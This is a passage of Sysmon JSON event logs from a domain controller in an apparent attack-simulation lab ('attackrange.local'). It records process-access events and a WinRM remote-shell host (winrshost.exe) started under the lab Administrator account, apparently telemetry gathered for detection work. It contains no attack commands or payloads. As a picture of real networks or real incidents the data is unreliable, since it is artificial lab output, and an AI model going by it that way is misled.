11:55:43.053","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4498,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.059\r\nProcessGuid: {90617006-413F-5F2D-0000-001000730600}\r\nProcessId: 2900\r\nImage: C:\\Windows\\System32\\winrshost.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Host Process for WinRM's Remote Shell plugin\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: winrshost.exe\r\nCommandLine: C:\\Windows\\system32\\WinrsHost.exe -Embedding\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413F-5F2D-0000-0020D2720600}\r\nLogonId: 0x672D2\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96\r\nParentProcessGuid: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nParentProcessId: 588\r\nParentImage: C:\\Windows\\System32\\svchost.exe\r\nParentCommandLine: C:\\Windows\\system32\\svchost.exe -k DcomLaunch","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.059","ProcessGuid":"{90617006-413F-5F2D-0000-001000730600}","Image":"C:\\Windows\\System32\\winrshost.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Host Process for WinRM's Remote Shell plugin","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"winrshost.exe","CommandLine":"C:\\Windows\\system32\\WinrsHost.exe -Embedding","CurrentDirectory":"C:\\Windows\\system32\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413F-5F2D-0000-0020D2720600}","LogonId":"0x672d2","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96","ParentProcessGuid":"{90617006-3FD3-5F2D-0000-0010AF650000}","ParentProcessId":"588","ParentImage":"C:\\Windows\\System32\\svchost.exe","ParentCommandLine":"C:\\Windows\\system32\\svchost.exe -k DcomLaunch","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4499,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.053\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-001000730600}\r\nTargetProcessId: 2900\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.053","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-001000730600}","TargetProcessId":"2900","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4500,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.053\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-001000730600}\r\nTargetProcessId: 2900\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.053","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-001000730600}","TargetProcessId":"2900","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4501,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.053\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.053","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4502,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.053\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.053","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4503,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.053\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.053","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4504,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.053\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.053","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4505,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.053\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.053","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4506,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: 